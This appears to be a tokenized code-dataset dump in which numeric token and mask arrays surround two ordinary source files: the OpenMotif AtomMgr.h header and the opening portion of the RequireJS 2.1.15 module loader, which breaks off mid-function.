[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * @OPENGROUP_COPYRIGHT@ * COPYRIGHT NOTICE * Copyright (c) 1990, 1991, 1992, 1993 Open Software Foundation, Inc. * Copyright (c) 1996, 1997, 1998, 1999, 2000 The Open Group * ALL RIGHTS RESERVED (MOTIF). See the file named COPYRIGHT.MOTIF for * the full copyright text. * * This software is subject to an open license. It may only be * used on, with or for operating systems which are themselves open * source systems. You must contact The Open Group for a license * allowing distribution and sublicensing of this software on, with, * or for operating systems which are not Open Source programs. * * See http://www.opengroup.org/openmotif/license for full * details of the license agreement. Any use, reproduction, or * distribution of the program constitutes recipient's acceptance of * this agreement. * * EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS * PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY * WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY * OR FITNESS FOR A PARTICULAR PURPOSE * * EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT * NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE * EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGES. */ /* * HISTORY */ /* $TOG: AtomMgr.h /main/12 1997/09/10 11:15:15 mgreess $ */ /* * (c) Copyright 1987, 1988, 1989, 1990, 1991, 1992 HEWLETT-PACKARD COMPANY */ #ifndef _XmAtomMgr_h #define _XmAtomMgr_h #include <Xm/Xm.h> #include <X11/Xresource.h> #ifdef __cplusplus extern "C" { #endif /* X11r5' XInternAtom equivalent */ extern Atom XmInternAtom( Display *display, String name, #if NeedWidePrototypes int only_if_exists ); #else Boolean only_if_exists ); #endif /* NeedWidePrototypes */ /* X11r5's XGetAtomName equivalent */ extern String XmGetAtomName( Display *display, Atom atom); #ifdef __cplusplus } /* Close scope of 'extern "C"' declaration which encloses file. */ #endif /* This macro name is confusing, and of unknown benefit. * #define XmNameToAtom(display, atom) \ * XmGetAtomName(display, atom) */ #endif /* _XmAtomMgr_h */
CPFDSoftware-Tony/gmv
utils/OpenMotif/openMotif-2.3.3/lib/Xm/AtomMgr.h
C
gpl-3.0
2,656
[ 30522, 1013, 1008, 1008, 1030, 2330, 17058, 1035, 9385, 1030, 1008, 9385, 5060, 1008, 9385, 1006, 1039, 1007, 2901, 1010, 2889, 1010, 2826, 1010, 2857, 2330, 4007, 3192, 1010, 4297, 1012, 1008, 9385, 1006, 1039, 1007, 2727, 1010, 2722, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** vim: et:ts=4:sw=4:sts=4 * @license RequireJS 2.1.15 Copyright (c) 2010-2014, The Dojo Foundation All Rights Reserved. * Available via the MIT or new BSD license. * see: http://github.com/jrburke/requirejs for details */ //Not using strict: uneven strict support in browsers, #392, and causes //problems with requirejs.exec()/transpiler plugins that may not be strict. /*jslint regexp: true, nomen: true, sloppy: true */ /*global window, navigator, document, importScripts, setTimeout, opera */ var requirejs, require, define; (function (global) { var req, s, head, baseElement, dataMain, src, interactiveScript, currentlyAddingScript, mainScript, subPath, version = '2.1.15', commentRegExp = /(\/\*([\s\S]*?)\*\/|([^:]|^)\/\/(.*)$)/mg, cjsRequireRegExp = /[^.]\s*require\s*\(\s*["']([^'"\s]+)["']\s*\)/g, jsSuffixRegExp = /\.js$/, currDirRegExp = /^\.\//, op = Object.prototype, ostring = op.toString, hasOwn = op.hasOwnProperty, ap = Array.prototype, apsp = ap.splice, isBrowser = !!(typeof window !== 'undefined' && typeof navigator !== 'undefined' && window.document), isWebWorker = !isBrowser && typeof importScripts !== 'undefined', //PS3 indicates loaded and complete, but need to wait for complete //specifically. Sequence is 'loading', 'loaded', execution, // then 'complete'. The UA check is unfortunate, but not sure how //to feature test w/o causing perf issues. readyRegExp = isBrowser && navigator.platform === 'PLAYSTATION 3' ? /^complete$/ : /^(complete|loaded)$/, defContextName = '_', //Oh the tragedy, detecting opera. See the usage of isOpera for reason. isOpera = typeof opera !== 'undefined' && opera.toString() === '[object Opera]', contexts = {}, cfg = {}, globalDefQueue = [], useInteractive = false; function isFunction(it) { return ostring.call(it) === '[object Function]'; } function isArray(it) { return ostring.call(it) === '[object Array]'; } /** * Helper function for iterating over an array. If the func returns * a true value, it will break out of the loop. */ function each(ary, func) { if (ary) { var i; for (i = 0; i < ary.length; i += 1) { if (ary[i] && func(ary[i], i, ary)) { break; } } } } /** * Helper function for iterating over an array backwards. If the func * returns a true value, it will break out of the loop. */ function eachReverse(ary, func) { if (ary) { var i; for (i = ary.length - 1; i > -1; i -= 1) { if (ary[i] && func(ary[i], i, ary)) { break; } } } } function hasProp(obj, prop) { return hasOwn.call(obj, prop); } function getOwn(obj, prop) { return hasProp(obj, prop) && obj[prop]; } /** * Cycles over properties in an object and calls a function for each * property value. If the function returns a truthy value, then the * iteration is stopped. */ function eachProp(obj, func) { var prop; for (prop in obj) { if (hasProp(obj, prop)) { if (func(obj[prop], prop)) { break; } } } } /** * Simple function to mix in properties from source into target, * but only if target does not already have a property of the same name. */ function mixin(target, source, force, deepStringMixin) { if (source) { eachProp(source, function (value, prop) { if (force || !hasProp(target, prop)) { if (deepStringMixin && typeof value === 'object' && value && !isArray(value) && !isFunction(value) && !(value instanceof RegExp)) { if (!target[prop]) { target[prop] = {}; } mixin(target[prop], value, force, deepStringMixin); } else { target[prop] = value; } } }); } return target; } //Similar to Function.prototype.bind, but the 'this' object is specified //first, since it is easier to read/figure out what 'this' will be. function bind(obj, fn) { return function () { return fn.apply(obj, arguments); }; } function scripts() { return document.getElementsByTagName('script'); } function defaultOnError(err) { throw err; } //Allow getting a global that is expressed in //dot notation, like 'a.b.c'. function getGlobal(value) { if (!value) { return value; } var g = global; each(value.split('.'), function (part) { g = g[part]; }); return g; } /** * Constructs an error with a pointer to an URL with more information. * @param {String} id the error ID that maps to an ID on a web page. * @param {String} message human readable error. * @param {Error} [err] the original error, if there is one. * * @returns {Error} */ function makeError(id, msg, err, requireModules) { var e = new Error(msg + '\nhttp://requirejs.org/docs/errors.html#' + id); e.requireType = id; e.requireModules = requireModules; if (err) { e.originalError = err; } return e; } if (typeof define !== 'undefined') { //If a define is already in play via another AMD loader, //do not overwrite. return; } if (typeof requirejs !== 'undefined') { if (isFunction(requirejs)) { //Do not overwrite an existing requirejs instance. return; } cfg = requirejs; requirejs = undefined; } //Allow for a require config object if (typeof require !== 'undefined' && !isFunction(require)) { //assume it is a config object. cfg = require; require = undefined; } function newContext(contextName) { var inCheckLoaded, Module, context, handlers, checkLoadedTimeoutId, config = { //Defaults. Do not set a default for map //config to speed up normalize(), which //will run faster if there is no default. waitSeconds: 7, baseUrl: './', paths: {}, bundles: {}, pkgs: {}, shim: {}, config: {} }, registry = {}, //registry of just enabled modules, to speed //cycle breaking code when lots of modules //are registered, but not activated. enabledRegistry = {}, undefEvents = {}, defQueue = [], defined = {}, urlFetched = {}, bundlesMap = {}, requireCounter = 1, unnormalizedCounter = 1; /** * Trims the . and .. from an array of path segments. * It will keep a leading path segment if a .. will become * the first path segment, to help with module name lookups, * which act like paths, but can be remapped. But the end result, * all paths that use this function should look normalized. * NOTE: this method MODIFIES the input array. * @param {Array} ary the array of path segments. */ function trimDots(ary) { var i, part; for (i = 0; i < ary.length; i++) { part = ary[i]; if (part === '.') { ary.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i == 1 && ary[2] === '..') || ary[i - 1] === '..') { continue; } else if (i > 0) { ary.splice(i - 1, 2); i -= 2; } } } } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @param {Boolean} applyMap apply the map config to the value. Should * only be done if this normalization is for a dependency ID. * @returns {String} normalized name */ function normalize(name, baseName, applyMap) { var pkgMain, mapValue, nameParts, i, j, nameSegment, lastIndex, foundMap, foundI, foundStarMap, starI, normalizedBaseParts, baseParts = (baseName && baseName.split('/')), map = config.map, starMap = map && map['*']; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } trimDots(name); name = name.join('/'); } //Apply map config if available. if (applyMap && map && (baseParts || starMap)) { nameParts = name.split('/'); outerLoop: for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join('/'); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = getOwn(map, baseParts.slice(0, j).join('/')); //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = getOwn(mapValue, nameSegment); if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break outerLoop; } } } } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && getOwn(starMap, nameSegment)) { foundStarMap = getOwn(starMap, nameSegment); starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } // If the name points to a package's name, use // the package main instead. pkgMain = getOwn(config.pkgs, name); return pkgMain ? pkgMain : name; } function removeScript(name) { if (isBrowser) { each(scripts(), function (scriptNode) { if (scriptNode.getAttribute('data-requiremodule') === name && scriptNode.getAttribute('data-requirecontext') === context.contextName) { scriptNode.parentNode.removeChild(scriptNode); return true; } }); } } function hasPathFallback(id) { var pathConfig = getOwn(config.paths, id); if (pathConfig && isArray(pathConfig) && pathConfig.length > 1) { //Pop off the first array value, since it failed, and //retry pathConfig.shift(); context.require.undef(id); //Custom require that does not do map translation, since //ID is "absolute", already mapped/resolved. context.makeRequire(null, { skipMap: true })([id]); return true; } } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } /** * Creates a module mapping that includes plugin prefix, module * name, and path. If parentModuleMap is provided it will * also normalize the name via require.normalize() * * @param {String} name the module name * @param {String} [parentModuleMap] parent module map * for the module name, used to resolve relative names. * @param {Boolean} isNormalized: is the ID already normalized. * This is true if this call is done for a define() module ID. * @param {Boolean} applyMap: apply the map config to the ID. * Should only be true if this map is for a dependency. * * @returns {Object} */ function makeModuleMap(name, parentModuleMap, isNormalized, applyMap) { var url, pluginModule, suffix, nameParts, prefix = null, parentName = parentModuleMap ? parentModuleMap.name : null, originalName = name, isDefine = true, normalizedName = ''; //If no name, then it means it is a require call, generate an //internal name. if (!name) { isDefine = false; name = '_@r' + (requireCounter += 1); } nameParts = splitPrefix(name); prefix = nameParts[0]; name = nameParts[1]; if (prefix) { prefix = normalize(prefix, parentName, applyMap); pluginModule = getOwn(defined, prefix); } //Account for relative paths if there is a base name. if (name) { if (prefix) { if (pluginModule && pluginModule.normalize) { //Plugin is loaded, use its normalize method. normalizedName = pluginModule.normalize(name, function (name) { return normalize(name, parentName, applyMap); }); } else { // If nested plugin references, then do not try to // normalize, as it will not normalize correctly. This // places a restriction on resourceIds, and the longer // term solution is not to normalize until plugins are // loaded and all normalizations to allow for async // loading of a loader plugin. But for now, fixes the // common uses. Details in #1131 normalizedName = name.indexOf('!') === -1 ? normalize(name, parentName, applyMap) : name; } } else { //A regular module. normalizedName = normalize(name, parentName, applyMap); //Normalized name may be a plugin ID due to map config //application in normalize. The map config values must //already be normalized, so do not need to redo that part. nameParts = splitPrefix(normalizedName); prefix = nameParts[0]; normalizedName = nameParts[1]; isNormalized = true; url = context.nameToUrl(normalizedName); } } //If the id is a plugin id that cannot be determined if it needs //normalization, stamp it with a unique ID so two matching relative //ids that may conflict can be separate. suffix = prefix && !pluginModule && !isNormalized ? '_unnormalized' + (unnormalizedCounter += 1) : ''; return { prefix: prefix, name: normalizedName, parentMap: parentModuleMap, unnormalized: !!suffix, url: url, originalName: originalName, isDefine: isDefine, id: (prefix ? prefix + '!' + normalizedName : normalizedName) + suffix }; } function getModule(depMap) { var id = depMap.id, mod = getOwn(registry, id); if (!mod) { mod = registry[id] = new context.Module(depMap); } return mod; } function on(depMap, name, fn) { var id = depMap.id, mod = getOwn(registry, id); if (hasProp(defined, id) && (!mod || mod.defineEmitComplete)) { if (name === 'defined') { fn(defined[id]); } } else { mod = getModule(depMap); if (mod.error && name === 'error') { fn(mod.error); } else { mod.on(name, fn); } } } function onError(err, errback) { var ids = err.requireModules, notified = false; if (errback) { errback(err); } else { each(ids, function (id) { var mod = getOwn(registry, id); if (mod) { //Set error on module, so it skips timeout checks. mod.error = err; if (mod.events.error) { notified = true; mod.emit('error', err); } } }); if (!notified) { req.onError(err); } } } /** * Internal method to transfer globalQueue items to this context's * defQueue. */ function takeGlobalQueue() { //Push all the globalDefQueue items into the context's defQueue if (globalDefQueue.length) { //Array splice in the values since the context code has a //local var ref to defQueue, so cannot just reassign the one //on context. apsp.apply(defQueue, [defQueue.length, 0].concat(globalDefQueue)); globalDefQueue = []; } } handlers = { 'require': function (mod) { if (mod.require) { return mod.require; } else { return (mod.require = context.makeRequire(mod.map)); } }, 'exports': function (mod) { mod.usingExports = true; if (mod.map.isDefine) { if (mod.exports) { return (defined[mod.map.id] = mod.exports); } else { return (mod.exports = defined[mod.map.id] = {}); } } }, 'module': function (mod) { if (mod.module) { return mod.module; } else { return (mod.module = { id: mod.map.id, uri: mod.map.url, config: function () { return getOwn(config.config, mod.map.id) || {}; }, exports: mod.exports || (mod.exports = {}) }); } } }; function cleanRegistry(id) { //Clean up machinery used for waiting modules. delete registry[id]; delete enabledRegistry[id]; } function breakCycle(mod, traced, processed) { var id = mod.map.id; if (mod.error) { mod.emit('error', mod.error); } else { traced[id] = true; each(mod.depMaps, function (depMap, i) { var depId = depMap.id, dep = getOwn(registry, depId); //Only force things that have not completed //being defined, so still in the registry, //and only if it has not been matched up //in the module already. if (dep && !mod.depMatched[i] && !processed[depId]) { if (getOwn(traced, depId)) { mod.defineDep(i, defined[depId]); mod.check(); //pass false? } else { breakCycle(dep, traced, processed); } } }); processed[id] = true; } } function checkLoaded() { var err, usingPathFallback, waitInterval = config.waitSeconds * 1000, //It is possible to disable the wait interval by using waitSeconds of 0. expired = waitInterval && (context.startTime + waitInterval) < new Date().getTime(), noLoads = [], reqCalls = [], stillLoading = false, needCycleCheck = true; //Do not bother if this call was a result of a cycle break. if (inCheckLoaded) { return; } inCheckLoaded = true; //Figure out the state of all the modules. eachProp(enabledRegistry, function (mod) { var map = mod.map, modId = map.id; //Skip things that are not enabled or in error state. if (!mod.enabled) { return; } if (!map.isDefine) { reqCalls.push(mod); } if (!mod.error) { //If the module should be executed, and it has not //been inited and time is up, remember it. if (!mod.inited && expired) { if (hasPathFallback(modId)) { usingPathFallback = true; stillLoading = true; } else { noLoads.push(modId); removeScript(modId); } } else if (!mod.inited && mod.fetched && map.isDefine) { stillLoading = true; if (!map.prefix) { //No reason to keep looking for unfinished //loading. If the only stillLoading is a //plugin resource though, keep going, //because it may be that a plugin resource //is waiting on a non-plugin cycle. return (needCycleCheck = false); } } } }); if (expired && noLoads.length) { //If wait time expired, throw error of unloaded modules. err = makeError('timeout', 'Load timeout for modules: ' + noLoads, null, noLoads); err.contextName = context.contextName; return onError(err); } //Not expired, check for a cycle. if (needCycleCheck) { each(reqCalls, function (mod) { breakCycle(mod, {}, {}); }); } //If still waiting on loads, and the waiting load is something //other than a plugin resource, or there are still outstanding //scripts, then just try back later. if ((!expired || usingPathFallback) && stillLoading) { //Something is still waiting to load. Wait for it, but only //if a timeout is not already in effect. if ((isBrowser || isWebWorker) && !checkLoadedTimeoutId) { checkLoadedTimeoutId = setTimeout(function () { checkLoadedTimeoutId = 0; checkLoaded(); }, 50); } } inCheckLoaded = false; } Module = function (map) { this.events = getOwn(undefEvents, map.id) || {}; this.map = map; this.shim = getOwn(config.shim, map.id); this.depExports = []; this.depMaps = []; this.depMatched = []; this.pluginMaps = {}; this.depCount = 0; /* this.exports this.factory this.depMaps = [], this.enabled, this.fetched */ }; Module.prototype = { init: function (depMaps, factory, errback, options) { options = options || {}; //Do not do more inits if already done. Can happen if there //are multiple define calls for the same module. That is not //a normal, common case, but it is also not unexpected. if (this.inited) { return; } this.factory = factory; if (errback) { //Register for errors on this module. this.on('error', errback); } else if (this.events.error) { //If no errback already, but there are error listeners //on this module, set up an errback to pass to the deps. errback = bind(this, function (err) { this.emit('error', err); }); } //Do a copy of the dependency array, so that //source inputs are not modified. For example //"shim" deps are passed in here directly, and //doing a direct modification of the depMaps array //would affect that config. this.depMaps = depMaps && depMaps.slice(0); this.errback = errback; //Indicate this module has be initialized this.inited = true; this.ignore = options.ignore; //Could have option to init this module in enabled mode, //or could have been previously marked as enabled. However, //the dependencies are not known until init is called. So //if enabled previously, now trigger dependencies as enabled. if (options.enabled || this.enabled) { //Enable this module and dependencies. //Will call this.check() this.enable(); } else { this.check(); } }, defineDep: function (i, depExports) { //Because of cycles, defined callback for a given //export can be called more than once. if (!this.depMatched[i]) { this.depMatched[i] = true; this.depCount -= 1; this.depExports[i] = depExports; } }, fetch: function () { if (this.fetched) { return; } this.fetched = true; context.startTime = (new Date()).getTime(); var map = this.map; //If the manager is for a plugin managed resource, //ask the plugin to load it now. if (this.shim) { context.makeRequire(this.map, { enableBuildCallback: true })(this.shim.deps || [], bind(this, function () { return map.prefix ? this.callPlugin() : this.load(); })); } else { //Regular dependency. return map.prefix ? this.callPlugin() : this.load(); } }, load: function () { var url = this.map.url; //Regular dependency. if (!urlFetched[url]) { urlFetched[url] = true; context.load(this.map.id, url); } }, /** * Checks if the module is ready to define itself, and if so, * define it. */ check: function () { if (!this.enabled || this.enabling) { return; } var err, cjsModule, id = this.map.id, depExports = this.depExports, exports = this.exports, factory = this.factory; if (!this.inited) { this.fetch(); } else if (this.error) { this.emit('error', this.error); } else if (!this.defining) { //The factory could trigger another require call //that would result in checking this module to //define itself again. If already in the process //of doing that, skip this work. this.defining = true; if (this.depCount < 1 && !this.defined) { if (isFunction(factory)) { //If there is an error listener, favor passing //to that instead of throwing an error. However, //only do it for define()'d modules. require //errbacks should not be called for failures in //their callbacks (#699). However if a global //onError is set, use that. if ((this.events.error && this.map.isDefine) || req.onError !== defaultOnError) { try { exports = context.execCb(id, factory, depExports, exports); } catch (e) { err = e; } } else { exports = context.execCb(id, factory, depExports, exports); } // Favor return value over exports. If node/cjs in play, // then will not have a return value anyway. Favor // module.exports assignment over exports object. if (this.map.isDefine && exports === undefined) { cjsModule = this.module; if (cjsModule) { exports = cjsModule.exports; } else if (this.usingExports) { //exports already set the defined value. exports = this.exports; } } if (err) { err.requireMap = this.map; err.requireModules = this.map.isDefine ? [this.map.id] : null; err.requireType = this.map.isDefine ? 'define' : 'require'; return onError((this.error = err)); } } else { //Just a literal value exports = factory; } this.exports = exports; if (this.map.isDefine && !this.ignore) { defined[id] = exports; if (req.onResourceLoad) { req.onResourceLoad(context, this.map, this.depMaps); } } //Clean up cleanRegistry(id); this.defined = true; } //Finished the define stage. Allow calling check again //to allow define notifications below in the case of a //cycle. this.defining = false; if (this.defined && !this.defineEmitted) { this.defineEmitted = true; this.emit('defined', this.exports); this.defineEmitComplete = true; } } }, callPlugin: function () { var map = this.map, id = map.id, //Map already normalized the prefix. pluginMap = makeModuleMap(map.prefix); //Mark this as a dependency for this plugin, so it //can be traced for cycles. this.depMaps.push(pluginMap); on(pluginMap, 'defined', bind(this, function (plugin) { var load, normalizedMap, normalizedMod, bundleId = getOwn(bundlesMap, this.map.id), name = this.map.name, parentName = this.map.parentMap ? this.map.parentMap.name : null, localRequire = context.makeRequire(map.parentMap, { enableBuildCallback: true }); //If current map is not normalized, wait for that //normalized name to load instead of continuing. if (this.map.unnormalized) { //Normalize the ID if the plugin allows it. if (plugin.normalize) { name = plugin.normalize(name, function (name) { return normalize(name, parentName, true); }) || ''; } //prefix and name should already be normalized, no need //for applying map config again either. normalizedMap = makeModuleMap(map.prefix + '!' + name, this.map.parentMap); on(normalizedMap, 'defined', bind(this, function (value) { this.init([], function () { return value; }, null, { enabled: true, ignore: true }); })); normalizedMod = getOwn(registry, normalizedMap.id); if (normalizedMod) { //Mark this as a dependency for this plugin, so it //can be traced for cycles. this.depMaps.push(normalizedMap); if (this.events.error) { normalizedMod.on('error', bind(this, function (err) { this.emit('error', err); })); } normalizedMod.enable(); } return; } //If a paths config, then just load that file instead to //resolve the plugin, as it is built into that paths layer. if (bundleId) { this.map.url = context.nameToUrl(bundleId); this.load(); return; } load = bind(this, function (value) { this.init([], function () { return value; }, null, { enabled: true }); }); load.error = bind(this, function (err) { this.inited = true; this.error = err; err.requireModules = [id]; //Remove temp unnormalized modules for this module, //since they will never be resolved otherwise now. eachProp(registry, function (mod) { if (mod.map.id.indexOf(id + '_unnormalized') === 0) { cleanRegistry(mod.map.id); } }); onError(err); }); //Allow plugins to load other code without having to know the //context or how to 'complete' the load. load.fromText = bind(this, function (text, textAlt) { /*jslint evil: true */ var moduleName = map.name, moduleMap = makeModuleMap(moduleName), hasInteractive = useInteractive; //As of 2.1.0, support just passing the text, to reinforce //fromText only being called once per resource. Still //support old style of passing moduleName but discard //that moduleName in favor of the internal ref. if (textAlt) { text = textAlt; } //Turn off interactive script matching for IE for any define //calls in the text, then turn it back on at the end. if (hasInteractive) { useInteractive = false; } //Prime the system by creating a module instance for //it. getModule(moduleMap); //Transfer any config to this other module. if (hasProp(config.config, id)) { config.config[moduleName] = config.config[id]; } try { req.exec(text); } catch (e) { return onError(makeError('fromtexteval', 'fromText eval for ' + id + ' failed: ' + e, e, [id])); } if (hasInteractive) { useInteractive = true; } //Mark this as a dependency for the plugin //resource this.depMaps.push(moduleMap); //Support anonymous modules. context.completeLoad(moduleName); //Bind the value of that module to the value for this //resource ID. localRequire([moduleName], load); }); //Use parentName here since the plugin's name is not reliable, //could be some weird string with no path that actually wants to //reference the parentName's path. plugin.load(map.name, localRequire, load, config); })); context.enable(pluginMap, this); this.pluginMaps[pluginMap.id] = pluginMap; }, enable: function () { enabledRegistry[this.map.id] = this; this.enabled = true; //Set flag mentioning that the module is enabling, //so that immediate calls to the defined callbacks //for dependencies do not trigger inadvertent load //with the depCount still being zero. this.enabling = true; //Enable each dependency each(this.depMaps, bind(this, function (depMap, i) { var id, mod, handler; if (typeof depMap === 'string') { //Dependency needs to be converted to a depMap //and wired up to this module. depMap = makeModuleMap(depMap, (this.map.isDefine ? this.map : this.map.parentMap), false, !this.skipMap); this.depMaps[i] = depMap; handler = getOwn(handlers, depMap.id); if (handler) { this.depExports[i] = handler(this); return; } this.depCount += 1; on(depMap, 'defined', bind(this, function (depExports) { this.defineDep(i, depExports); this.check(); })); if (this.errback) { on(depMap, 'error', bind(this, this.errback)); } } id = depMap.id; mod = registry[id]; //Skip special modules like 'require', 'exports', 'module' //Also, don't call enable if it is already enabled, //important in circular dependency cases. if (!hasProp(handlers, id) && mod && !mod.enabled) { context.enable(depMap, this); } })); //Enable each plugin that is used in //a dependency eachProp(this.pluginMaps, bind(this, function (pluginMap) { var mod = getOwn(registry, pluginMap.id); if (mod && !mod.enabled) { context.enable(pluginMap, this); } })); this.enabling = false; this.check(); }, on: function (name, cb) { var cbs = this.events[name]; if (!cbs) { cbs = this.events[name] = []; } cbs.push(cb); }, emit: function (name, evt) { each(this.events[name], function (cb) { cb(evt); }); if (name === 'error') { //Now that the error handler was triggered, remove //the listeners, since this broken Module instance //can stay around for a while in the registry. delete this.events[name]; } } }; function callGetModule(args) { //Skip modules already defined. if (!hasProp(defined, args[0])) { getModule(makeModuleMap(args[0], null, true)).init(args[1], args[2]); } } function removeListener(node, func, name, ieName) { //Favor detachEvent because of IE9 //issue, see attachEvent/addEventListener comment elsewhere //in this file. if (node.detachEvent && !isOpera) { //Probably IE. If not it will throw an error, which will be //useful to know. if (ieName) { node.detachEvent(ieName, func); } } else { node.removeEventListener(name, func, false); } } /** * Given an event from a script node, get the requirejs info from it, * and then removes the event listeners on the node. * @param {Event} evt * @returns {Object} */ function getScriptData(evt) { //Using currentTarget instead of target for Firefox 2.0's sake. Not //all old browsers will be supported, but this one was easy enough //to support and still makes sense. var node = evt.currentTarget || evt.srcElement; //Remove the listeners once here. removeListener(node, context.onScriptLoad, 'load', 'onreadystatechange'); removeListener(node, context.onScriptError, 'error'); return { node: node, id: node && node.getAttribute('data-requiremodule') }; } function intakeDefines() { var args; //Any defined modules in the global queue, intake them now. takeGlobalQueue(); //Make sure any remaining defQueue items get properly processed. while (defQueue.length) { args = defQueue.shift(); if (args[0] === null) { return onError(makeError('mismatch', 'Mismatched anonymous define() module: ' + args[args.length - 1])); } else { //args are id, deps, factory. Should be normalized by the //define() function. callGetModule(args); } } } context = { config: config, contextName: contextName, registry: registry, defined: defined, urlFetched: urlFetched, defQueue: defQueue, Module: Module, makeModuleMap: makeModuleMap, nextTick: req.nextTick, onError: onError, /** * Set a configuration for the context. * @param {Object} cfg config object to integrate. */ configure: function (cfg) { //Make sure the baseUrl ends in a slash. if (cfg.baseUrl) { if (cfg.baseUrl.charAt(cfg.baseUrl.length - 1) !== '/') { cfg.baseUrl += '/'; } } //Save off the paths since they require special processing, //they are additive. var shim = config.shim, objs = { paths: true, bundles: true, config: true, map: true }; eachProp(cfg, function (value, prop) { if (objs[prop]) { if (!config[prop]) { config[prop] = {}; } mixin(config[prop], value, true, true); } else { config[prop] = value; } }); //Reverse map the bundles if (cfg.bundles) { eachProp(cfg.bundles, function (value, prop) { each(value, function (v) { if (v !== prop) { bundlesMap[v] = prop; } }); }); } //Merge shim if (cfg.shim) { eachProp(cfg.shim, function (value, id) { //Normalize the structure if (isArray(value)) { value = { deps: value }; } if ((value.exports || value.init) && !value.exportsFn) { value.exportsFn = context.makeShimExports(value); } shim[id] = value; }); config.shim = shim; } //Adjust packages if necessary. if (cfg.packages) { each(cfg.packages, function (pkgObj) { var location, name; pkgObj = typeof pkgObj === 'string' ? { name: pkgObj } : pkgObj; name = pkgObj.name; location = pkgObj.location; if (location) { config.paths[name] = pkgObj.location; } //Save pointer to main module ID for pkg name. //Remove leading dot in main, so main paths are normalized, //and remove any trailing .js, since different package //envs have different conventions: some use a module name, //some use a file name. config.pkgs[name] = pkgObj.name + '/' + (pkgObj.main || 'main') .replace(currDirRegExp, '') .replace(jsSuffixRegExp, ''); }); } //If there are any "waiting to execute" modules in the registry, //update the maps for them, since their info, like URLs to load, //may have changed. eachProp(registry, function (mod, id) { //If module already has init called, since it is too //late to modify them, and ignore unnormalized ones //since they are transient. if (!mod.inited && !mod.map.unnormalized) { mod.map = makeModuleMap(id); } }); //If a deps array or a config callback is specified, then call //require with those args. This is useful when require is defined as a //config object before require.js is loaded. if (cfg.deps || cfg.callback) { context.require(cfg.deps || [], cfg.callback); } }, makeShimExports: function (value) { function fn() 